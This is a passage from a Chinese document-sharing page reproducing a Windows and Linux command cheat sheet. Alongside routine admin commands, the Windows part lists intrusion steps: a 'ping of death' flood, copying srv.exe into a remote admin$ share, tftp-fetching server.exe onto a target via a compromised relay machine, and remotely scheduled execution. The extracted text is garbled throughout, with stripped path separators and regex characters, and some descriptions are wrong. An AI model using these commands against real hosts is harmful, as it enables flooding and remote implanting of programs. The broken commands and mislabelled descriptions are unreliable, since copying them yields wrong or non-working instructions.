收藏 分享(赏)

Windows和Linux常用命令大全.docx

上传人:scg750829 文档编号:8100124 上传时间:2019-06-08 格式:DOCX 页数:15 大小:43.41KB
下载 相关 举报
Windows和Linux常用命令大全.docx_第1页
第1页 / 共15页
Windows和Linux常用命令大全.docx_第2页
第2页 / 共15页
Windows和Linux常用命令大全.docx_第3页
第3页 / 共15页
Windows和Linux常用命令大全.docx_第4页
第4页 / 共15页
Windows和Linux常用命令大全.docx_第5页
第5页 / 共15页
点击查看更多>>
资源描述

1、电脑常用命令大全整理第一篇:Windows 下的 DOS or CMDregedit 修改注册表msconfig 系统配置实用程序winver-检查 Windows 版本wmimgmt.msc-打开 windows 管理体系结构wupdmgr-windows 更新程序winver-检查 Windows 版本wmimgmt.msc-打开 windows 管理体系结构wupdmgr-windows 更新程序wscript-windows 脚本宿主设置write-写字板 winmsd-系统信息wiaacmgr-扫描仪和照相机向导winchat-XP 自带局域网聊天mem.exe-显示内存使用情况Ms

2、config.exe-系统配置实用程序 mplayer2-简易 widnows media playermspaint-画图板mstsc-远程桌面连接mplayer2-媒体播放机magnify-放大镜实用程序mmc-打开控制台mobsync-同步命令dxdiag-检查 DirectX 信息drwtsn32- 系统医生devmgmt.msc- 设备管理器dfrg.msc-磁盘碎片整理程序diskmgmt.msc-磁盘管理实用程序dcomcnfg-打开系统组件服务ddeshare-打开 DDE 共享设置dvdplay-DVD 播放器net stop messenger-停止信使服务net star

3、t messenger-开始信使服务 notepad-打开记事本nslookup-网络管理的工具向导ntbackup-系统备份和还原narrator-屏幕“讲述人“ntmsmgr.msc-移动存储管理器ntmsoprq.msc-移动存储管理员操作请求netstat -an-(TC)命令检查接口syncapp-创建一个公文包sysedit-系统配置编辑器sigverif-文件签名验证程序sndrec32-录音机shrpubw-创建共享文件夹secpol.msc-本地安全策略syskey-系统加密,一旦加密就不能解开,保护 windows xp 系统的双重密码services.msc-本地服务设置

4、Sndvol32-音量控制程序sfc.exe-系统文件检查器sfc /scannow-windows 文件保护tsshutdn-60 秒倒计时关机命令tourstart-xp 简介(安装完成后出现的漫游 xp 程序)taskmgr-任务管理器eventvwr-事件查看器eudcedit-造字程序 explorer-打开资源管理器packager-对象包装程序perfmon.msc-计算机性能监测程序progman-程序管理器regedit.exe-注册表 rsop.msc-组策略结果集regedt32-注册表编辑器rononce -p -15 秒关机regsvr32 /u *.dll-停止 d

5、ll 文件运行regsvr32 /u zipfldr.dll-取消 ZIP 支持cmd.exe-CMD 命令提示符chkdsk.exe-Chkdsk 磁盘检查certmgr.msc-证书管理实用程序calc-启动计算器charmap-启动字符映射表cliconfg-SQL SERVER 客户端网络实用程序Clipbrd-剪贴板查看器conf-启动 netmeetingcompmgmt.msc-计算机管理cleanmgr-垃圾整理ciadv.msc-索引服务程序osk-打开屏幕键盘odbcad32-ODBC 数据源管理器oobe/msoobe /a-检查 XP 是否激活lusrmgr.msc-本

6、机用户和组logoff-注销命令iexpress-木马捆绑工具,系统自带Nslookup-IP 地址侦测器fsmgmt.msc-共享文件夹管理器utilman-辅助工具管理器第二篇: 可以说是第一篇的详细解释,略有不同ping ip(或域名) 向对方主机发送默认大小为 32 字节的数据,参数:“-l空格数据包大小”; “-n 发送数据次数” ;“-t” 指一直 ping。ping -t -l 65550 ip 死亡之 ping(发送大于 64K 的文件并一直 ping 就成了死亡之 ping)ipconfig (winipcfg) 用于 windows NT 及 XP(windows 95 9

7、8)查看本地 ip 地址,ipconfig 可用参数“/all” 显示全部配置信息tlist -t 以树行列表显示进程( 为系统的附加工具,默认是没有安装的,在安装目录的Support/tools 文件夹内)kill -F 进程名 加-F 参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的 Support/tools 文件夹内)del -F 文件名 加-F 参数后就可删除只读文件,/AR、/AH、/AS 、/AA 分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H 、/A-S、/A-A 表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除

8、当前目录下所有只读文件, “DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件del /S /Q 目录 或用:rmdir /s /Q 目录 /S 删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。 (二个命令作用相同)move 盘符路径要移动的文件名 存放移动文件的路径移动后文件名 移动文件,用参数/y 将取消确认移动目录存在相同文件的提示就直接覆盖fc one.txt two.txt 3st.txt 对比二个文件并把不同之处输出到 3st.txt 文件中,“ “和“ “ 是重定向命令at id 号 开启已注册的某个计划任务at /de

9、lete 停止所有计划任务,用参数/yes 则不需要确认就直接停止at id 号 /delete 停止某个已注册的计划任务at 查看所有的计划任务at ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机finger username host 查看最近有哪些用户登陆telnet ip 端口 远和登陆服务器,默认端口为 23open ip 连接到 IP(属 telnet 登陆后的命令)telnet 在本机上直接键入 telnet 将进入本机的 telnetcopy 路径文件名 1 路径文件名 2 /y 复制文件 1 到指定的目录为文件 2,用参数/y 就同时取消确

10、认你要改写一份现存目录文件copy c:srv.exe ipadmin$ 复制本地 c:srv.exe 到对方的 admin 下copy 1st.jpg/b+2st.txt/a 3st.jpg 将 2st.txt 的内容藏身到 1st.jpg 中生成 3st.jpg 新的文件,注:2st.txt 文件头要空三排,参数: /b 指二进制文件,/a 指 ASCLL 格式文件copy ipadmin$svv.exe c: 或:copyipadmin$*.* 复制对方 admini$共享下的 srv.exe 文件(所有文件)至本地 C:xcopy 要复制的文件或目录树 目标地址目录名 复制文件和目录树

11、,用参数/Y 将不提示覆盖相同文件用参数/e 才可连目录下的子目录一起复制到目标地址下。tftp -i 自己 IP(用肉机作跳板时这用肉机 IP) get server.exe c:server.exe 登陆后,将“IP”的 server.exe 下载到目标主机 c:server.exe 参数:-i 指以二进制模式传送,如传送 exe 文件时用,如不加-i 则以 ASCII 模式(传送文本文件模式)进行传送tftp -i 对方 IP put c:server.exe 登陆后,上传本地 c:server.exe 至主机ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为 21。bi

12、n 指用二进制方式传送(可执行文件进) ;默认为 ASCII 格式传送(文本文件时)route print 显示出 IP 路由,将主要显示网络地址 Network addres,子网掩码Netmask,网关地址 Gateway addres,接口地址 Interfacearp 查看和处理 ARP 缓存, ARP 是名字解析的意思,负责把一个 IP 解析成一个物理性的 MAC 地址。arp -a 将显示出全部信息start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令mem 查看 cpu 使用情况attrib 文件名(目录名) 查看某文件(目录)的属性at

13、trib 文件名 -A -R -S -H 或 +A +R +S +H 去掉( 添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性dir 查看文件,参数:/Q 显示文件及目录属系统哪个用户,/T:C 显示文件创建时间,/T:A 显示文件上次被访问时间,/T:W 上次被修改时间date /t 、 time /t 使用此参数即“DATE/T”、 “TIME/T”将只显示当前日期和时间,而不必输入新日期和时间set 指定环境变量名称=要指派给变量的字符 设置环境变量set 显示当前所有的环境变量set p(或其它字符) 显示出当前以字符 p(或其它字符)开头的所有环境变量pause 暂

14、停批处理程序,并显示出:请按任意键继续if 在批处理程序中执行条件处理(更多说明见 if 命令及变量)goto 标签 将 cmd.exe 导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start” 标签)call 路径批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见 call /?)for 对一组文件中的每一个文件执行某个特定命令(更多说明见 for 命令及变量)echo on 或 off 打开或关闭 echo,仅用 echo 不加参数则显示当前 echo 设置echo 信息 在屏幕上显示出信息echo 信息 pass.txt 将“信息“保存到 pass

15、.txt 文件中findstr “Hello“ aa.txt 在 aa.txt 文件中寻找字符串 hellofind 文件名 查找某文件title 标题名字 更改 CMD 窗口标题名字color 颜色值 设置 cmd 控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4= 红、5=紫、 6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B= 淡浅绿、C=淡红、D=淡紫、E=淡黄、F= 亮白prompt 名称 更改 cmd.exe 的显示的命令提示符(把 C:、D: 统一改为:EntSky )ver 在 DOS 窗口下显示版本信息winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版

16、本、计算机名)format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFSmd 目录名 创建目录replace 源文件 要替换文件的目录 替换文件ren 原文件名 新文件名 重命名文件名tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称type 文件名 显示文本文件的内容more 文件名 逐屏显示输出文件doskey 要锁定的命令 =字符doskey 要解锁命令= 为 DOS 提供的锁定命令( 编辑命令行,重新调用 win2k 命令,并创建宏)。如:锁定 dir 命令:doskey dir=entsky (不能

17、用 doskey dir=dir);解锁:doskey dir=taskmgr 调出任务管理器chkdsk /F D: 检查磁盘 D 并显示状态报告;加参数/f 并修复磁盘上的错误tlntadmn telnt 服务 admn,键入 tlntadmn 选择 3,再选择 8,就可以更改 telnet 服务默认端口 23 为其它任何端口exit 退出 cmd.exe 程序或目前,用参数/B 则是退出当前批处理脚本而不是 cmd.exepath 路径可执行文件的文件名 为可执行文件设置一个路径。cmd 启动一个 win2K 命令解释窗口。参数: /eff、/en 关闭、开启命令扩展;更我详细说明见 c

18、md /?regedit /s 注册表文件名 导入注册表;参数/S 指安静模式导入,无任何提示;regedit /e 注册表文件名 导出注册表cacls 文件名 参数 显示或修改文件访问控制列表(ACL)针对 NTFS 格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限; Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例: cacls D: est.txt /D pub 设定 d: est.txt 拒绝 pub 用户访问。cacls 文件名 查看文件的访问用户权限列表

19、REM 文本内容 在批处理文件中添加注解netsh 查看或更改本地网络配置情况第三篇:LINUX 下常用命令大全系统信息 arch 显示机器的处理器架构(1) uname -m 显示机器的处理器架构(2) uname -r 显示正在使用的内核版本 dmidecode -q 显示硬件系统部件 - (SMBIOS / DMI) hdparm -i /dev/hda 罗列一个磁盘的架构特性 hdparm -tT /dev/sda 在磁盘上执行测试性读取操作 cat /proc/cpuinfo 显示 CPU info 的信息 cat /proc/interrupts 显示中断 cat /proc/me

20、minfo 校验内存使用 cat /proc/swaps 显示哪些 swap 被使用 cat /proc/version 显示内核的版本 cat /proc/net/dev 显示网络适配器及统计 cat /proc/mounts 显示已加载的文件系统 lspci -tv 罗列 PCI 设备 lsusb -tv 显示 USB 设备 date 显示系统日期 cal 2007 显示 2007 年的日历表 date 041217002007.00 设置日期和时间 - 月日时分年.秒 clock -w 将时间修改保存到 BIOS 关机 (系统的关机、重启以及登出 ) shutdown -h now 关闭

21、系统(1) init 0 关闭系统 (2) telinit 0 关闭系统(3) shutdown -h hours:minutes batch resize files in the current directory and send them to a thumbnails directory (requires convert from Imagemagick) 文件搜索 find / -name file1 从 / 开始进入根文件系统搜索文件和目录 find / -user user1 搜索属于用户 user1 的文件和目录 find /home/user1 -name *.bin 在

22、目录 / home/user1 中搜索带有 .bin 结尾的文件 find /usr/bin -type f -atime +100 搜索在过去 100 天内未被使用过的执行文件 find /usr/bin -type f -mtime -10 搜索在 10 天内被创建或者修改过的文件 find / -name *.rpm -exec chmod 755 ; 搜索以 .rpm 结尾的文件并定义其权限 find / -xdev -name *.rpm 搜索以 .rpm 结尾的文件,忽略光驱、捷盘等可移动设备 locate *.ps 寻找以 .ps 结尾的文件 - 先运行 updatedb 命令

23、whereis halt 显示一个二进制文件、源码或 man 的位置 which halt 显示一个二进制文件或可执行文件的完整路径 挂载一个文件系统 mount /dev/hda2 /mnt/hda2 挂载一个叫做 hda2 的盘 - 确定目录 / mnt/hda2 已经存在 umount /dev/hda2 卸载一个叫做 hda2 的盘 - 先从挂载点 / mnt/hda2 退出 fuser -km /mnt/hda2 当设备繁忙时强制卸载 umount -n /mnt/hda2 运行卸载操作而不写入 /etc/mtab 文件- 当文件为只读或当磁盘写满时非常有用 mount /dev/f

24、d0 /mnt/floppy 挂载一个软盘 mount /dev/cdrom /mnt/cdrom 挂载一个 cdrom 或 dvdrom mount /dev/hdc /mnt/cdrecorder 挂载一个 cdrw 或 dvdrom mount /dev/hdb /mnt/cdrecorder 挂载一个 cdrw 或 dvdrom mount -o loop file.iso /mnt/cdrom 挂载一个文件或 ISO 镜像文件 mount -t vfat /dev/hda5 /mnt/hda5 挂载一个 Windows FAT32 文件系统 mount /dev/sda1 /mnt/

25、usbdisk 挂载一个 usb 捷盘或闪存设备 mount -t smbfs -o username=user,password=pass /WinClient/share /mnt/share 挂载一个windows 网络共享 磁盘空间 df -h 显示已经挂载的分区列表 ls -lSr |more 以尺寸大小排列文件和目录 du -sh dir1 估算目录 dir1 已经使用的磁盘空间 du -sk * | sort -rn 以容量大小为依据依次显示文件和目录的大小 rpm -q -a -qf %10SIZEt%NAMEn | sort -k1,1n 以大小为依据依次显示已安装的 rpm

26、 包所使用的空间 (fedora, redhat 类系统) dpkg-query -W -f=$Installed-Size;10t$Packagen | sort -k1,1n 以大小为依据显示已安装的deb 包所使用的空间 (ubuntu, debian 类系统) 返回顶部索引 用户和群组 groupadd group_name 创建一个新用户组 groupdel group_name 删除一个用户组 groupmod -n new_group_name old_group_name 重命名一个用户组 useradd -c “Name Surname “ -g admin -d /home

27、/user1 -s /bin/bash user1 创建一个属于 “admin“ 用户组的用户 useradd user1 创建一个新用户 userdel -r user1 删除一个用户 ( -r 排除主目录) usermod -c “User FTP“ -g system -d /ftp/user1 -s /bin/nologin user1 修改用户属性 passwd 修改口令 passwd user1 修改一个用户的口令 (只允许 root 执行) chage -E 2005-12-31 user1 设置用户口令的失效期限 pwck 检查 /etc/passwd 的文件格式和语法修正以及

28、存在的用户 grpck 检查 /etc/passwd 的文件格式和语法修正以及存在的群组 newgrp group_name 登陆进一个新的群组以改变新创建文件的预设群组 返回顶部索引 文件的权限 - 使用 “+“ 设置权限,使用 “-“ 用于取消 ls -lh 显示权限 ls /tmp | pr -T5 -W$COLUMNS 将终端划分成 5 栏显示 chmod ugo+rwx directory1 设置目录的所有人(u)、群组(g) 以及其他人(o)以读(r ) 、写(w) 和执行(x)的权限 chmod go-rwx directory1 删除群组(g)与其他人(o)对目录的读写执行权限

29、 chown user1 file1 改变一个文件的所有人属性 chown -R user1 directory1 改变一个目录的所有人属性并同时改变改目录下所有文件的属性 chgrp group1 file1 改变文件的群组 chown user1:group1 file1 改变一个文件的所有人和群组属性 find / -perm -u+s 罗列一个系统中所有使用了 SUID 控制的文件 chmod u+s /bin/file1 设置一个二进制文件的 SUID 位 - 运行该文件的用户也被赋予和所有者同样的权限 chmod u-s /bin/file1 禁用一个二进制文件的 SUID 位 c

30、hmod g+s /home/public 设置一个目录的 SGID 位 - 类似 SUID ,不过这是针对目录的 chmod g-s /home/public 禁用一个目录的 SGID 位 chmod o+t /home/public 设置一个文件的 STIKY 位 - 只允许合法所有人删除文件 chmod o-t /home/public 禁用一个目录的 STIKY 位 返回顶部索引 文件的特殊属性 - 使用 “+“ 设置权限,使用 “-“ 用于取消 chattr +a file1 只允许以追加方式读写文件 chattr +c file1 允许这个文件能被内核自动压缩/ 解压 chattr

31、 +d file1 在进行文件系统备份时,dump 程序将忽略这个文件 chattr +i file1 设置成不可变的文件,不能被删除、修改、重命名或者链接 chattr +s file1 允许一个文件被安全地删除 chattr +S file1 一旦应用程序对这个文件执行了写操作,使系统立刻把修改的结果写到磁盘 chattr +u file1 若文件被删除,系统会允许你在以后恢复这个被删除的文件 lsattr 显示特殊的属性 返回顶部索引 打包和压缩文件 bunzip2 file1.bz2 解压一个叫做 file1.bz2的文件 bzip2 file1 压缩一个叫做 file1 的文件 gu

32、nzip file1.gz 解压一个叫做 file1.gz的文件 gzip file1 压缩一个叫做 file1的文件 gzip -9 file1 最大程度压缩 rar a file1.rar test_file 创建一个叫做 file1.rar 的包 rar a file1.rar file1 file2 dir1 同时压缩 file1, file2 以及目录 dir1 rar x file1.rar 解压 rar 包 unrar x file1.rar 解压 rar 包 tar -cvf archive.tar file1 创建一个非压缩的 tarball tar -cvf archive

33、.tar file1 file2 dir1 创建一个包含了 file1, file2 以及 dir1的档案文件 tar -tf archive.tar 显示一个包中的内容 tar -xvf archive.tar 释放一个包 tar -xvf archive.tar -C /tmp 将压缩包释放到 /tmp 目录下 tar -cvfj archive.tar.bz2 dir1 创建一个 bzip2 格式的压缩包 tar -xvfj archive.tar.bz2 解压一个 bzip2 格式的压缩包 tar -cvfz archive.tar.gz dir1 创建一个 gzip 格式的压缩包 t

34、ar -xvfz archive.tar.gz 解压一个 gzip 格式的压缩包 zip file1.zip file1 创建一个 zip 格式的压缩包 zip -r file1.zip file1 file2 dir1 将几个文件和目录同时压缩成一个 zip 格式的压缩包 unzip file1.zip 解压一个 zip 格式压缩包 返回顶部索引 RPM 包 - (Fedora, Redhat 及类似系统) rpm -ivh package.rpm 安装一个 rpm 包 rpm -ivh -nodeeps package.rpm 安装一个 rpm 包而忽略依赖关系警告 rpm -U pack

35、age.rpm 更新一个 rpm 包但不改变其配置文件 rpm -F package.rpm 更新一个确定已经安装的 rpm 包 rpm -e package_name.rpm 删除一个 rpm 包 rpm -qa 显示系统中所有已经安装的 rpm 包 rpm -qa | grep httpd 显示所有名称中包含 “httpd“ 字样的 rpm 包 rpm -qi package_name 获取一个已安装包的特殊信息 rpm -qg “System Environment/Daemons“ 显示一个组件的 rpm 包 rpm -ql package_name 显示一个已经安装的 rpm 包提供

36、的文件列表 rpm -qc package_name 显示一个已经安装的 rpm 包提供的配置文件列表 rpm -q package_name -whatrequires 显示与一个 rpm 包存在依赖关系的列表 rpm -q package_name -whatprovides 显示一个 rpm 包所占的体积 rpm -q package_name -scripts 显示在安装/ 删除期间所执行的脚本 l rpm -q package_name -changelog 显示一个 rpm 包的修改历史 rpm -qf /etc/httpd/conf/httpd.conf 确认所给的文件由哪个 r

37、pm 包所提供 rpm -qp package.rpm -l 显示由一个尚未安装的 rpm 包提供的文件列表 rpm -import /media/cdrom/RPM-GPG-KEY 导入公钥数字证书 rpm -checksig package.rpm 确认一个 rpm 包的完整性 rpm -qa gpg-pubkey 确认已安装的所有 rpm 包的完整性 rpm -V package_name 检查文件尺寸、 许可、类型、所有者、群组、 MD5 检查以及最后修改时间 rpm -Va 检查系统中所有已安装的 rpm 包- 小心使用 rpm -Vp package.rpm 确认一个 rpm 包还

38、未安装 rpm2cpio package.rpm | cpio -extract -make-directories *bin* 从一个 rpm 包运行可执行文件 rpm -ivh /usr/src/redhat/RPMS/arch/package.rpm 从一个 rpm 源码安装一个构建好的包 rpmbuild -rebuild package_name.src.rpm 从一个 rpm 源码构建一个 rpm 包 返回顶部索引 YUM 软件包升级器 - (Fedora, RedHat 及类似系统) yum install package_name 下载并安装一个 rpm 包 yum local

39、install package_name.rpm 将安装一个 rpm 包,使用你自己的软件仓库为你解决所有依赖关系 yum update package_name.rpm 更新当前系统中所有安装的 rpm 包 yum update package_name 更新一个 rpm 包 yum remove package_name 删除一个 rpm 包 yum list 列出当前系统中安装的所有包 yum search package_name 在 rpm 仓库中搜寻软件包 yum clean packages 清理 rpm 缓存删除下载的包 yum clean headers 删除所有头文件 yu

40、m clean all 删除所有缓存的包和头文件 返回顶部索引 DEB 包 (Debian, Ubuntu 以及类似系统) dpkg -i package.deb 安装/更新一个 deb 包 dpkg -r package_name 从系统删除一个 deb 包 dpkg -l 显示系统中所有已经安装的 deb 包 dpkg -l | grep httpd 显示所有名称中包含 “httpd“ 字样的 deb 包 dpkg -s package_name 获得已经安装在系统中一个特殊包的信息 dpkg -L package_name 显示系统中已经安装的一个 deb 包所提供的文件列表 dpkg

41、-contents package.deb 显示尚未安装的一个包所提供的文件列表 dpkg -S /bin/ping 确认所给的文件由哪个 deb 包提供 返回顶部索引 APT 软件工具 (Debian, Ubuntu 以及类似系统) apt-get install package_name 安装/ 更新一个 deb 包 apt-cdrom install package_name 从光盘安装/ 更新一个 deb 包 apt-get update 升级列表中的软件包 apt-get upgrade 升级所有已安装的软件 apt-get remove package_name 从系统删除一个 d

42、eb 包 apt-get check 确认依赖的软件仓库正确 apt-get clean 从下载的软件包中清理缓存 apt-cache search searched-package 返回包含所要搜索字符串的软件包名称 返回顶部索引 查看文件内容 cat file1 从第一个字节开始正向查看文件的内容 tac file1 从最后一行开始反向查看一个文件的内容 more file1 查看一个长文件的内容 less file1 类似于 more 命令,但是它允许在文件中和正向操作一样的反向操作 head -2 file1 查看一个文件的前两行 tail -2 file1 查看一个文件的最后两行 t

43、ail -f /var/log/messages 实时查看被添加到一个文件中的内容 返回顶部索引 文本处理 cat file1 file2 . | command result.txt 合并一个文件的详细说明文本,并将简介写入一个新文件中 cat file1 | command( sed, grep, awk, grep, etc.) result.txt 合并一个文件的详细说明文本,并将简介写入一个已有的文件中 grep Aug /var/log/messages 在文件 /var/log/messages中查找关键词 “Aug“ grep Aug /var/log/messages 在文件

44、 /var/log/messages中查找以 “Aug“开始的词汇 grep 0-9 /var/log/messages 选择 /var/log/messages 文件中所有包含数字的行 grep Aug -R /var/log/* 在目录 /var/log 及随后的目录中搜索字符串“Aug“ sed s/stringa1/stringa2/g example.txt 将 example.txt 文件中的 “string1“ 替换成 “string2“ sed /$/d example.txt 从 example.txt 文件中删除所有空白行 sed / *#/d; /$/d example.

45、txt 从 example.txt 文件中删除所有注释和空白行 echo esempio | tr :lower: :upper: 合并上下单元格内容 sed -e 1d result.txt 从文件 example.txt 中排除第一行 sed -n /stringa1/p 查看只包含词汇 “string1“的行 sed -e s/ *$/ example.txt 删除每一行最后的空白字符 sed -e s/stringa1/g example.txt 从文档中只删除词汇 “string1“ 并保留剩余全部 sed -n 1,5p;5q example.txt 查看从第一行到第 5 行内容

46、sed -n 5p;5q example.txt 查看第 5 行 sed -e s/00*/0/g example.txt 用单个零替换多个零 cat -n file1 标示文件的行数 cat example.txt | awk NR%2=1 删除 example.txt 文件中的所有偶数行 echo a b c | awk print $1 查看一行第一栏 echo a b c | awk print $1,$3 查看一行的第一和第三栏 paste file1 file2 合并两个文件或两栏的内容 paste -d + file1 file2 合并两个文件或两栏的内容,中间用“+“区分 so

47、rt file1 file2 排序两个文件的内容 sort file1 file2 | uniq 取出两个文件的并集(重复的行只保留一份) sort file1 file2 | uniq -u 删除交集,留下其他的行 sort file1 file2 | uniq -d 取出两个文件的交集(只留下同时存在于两个文件中的文件 ) comm -1 file1 file2 比较两个文件的内容只删除 file1 所包含的内容 comm -2 file1 file2 比较两个文件的内容只删除 file2 所包含的内容 comm -3 file1 file2 比较两个文件的内容只删除两个文件共有的部分 返回顶部索引 字符设置和文件格式转换 dos2unix filedos.txt fileunix.txt 将一个文本文件的格式从 MSDOS 转换成 UNIX unix2dos fileunix.txt filedos.txt 将一个文本文件的格式从 UNIX 转换成 MSDOS recode HTML page.html 将一个文本文件转换成 html recode -l | more 显示所有允许的转换格式 返回顶部索引 文件系统分析 badblocks -v /dev/hda1 检查磁盘 hda1

展开阅读全文
相关资源
猜你喜欢
相关搜索
资源标签

当前位置:首页 > 企业管理 > 管理学资料

本站链接:文库   一言   我酷   合作


客服QQ:2549714901微博号:道客多多官方知乎号:道客多多

经营许可证编号: 粤ICP备2021046453号世界地图

道客多多©版权所有2020-2025营业执照举报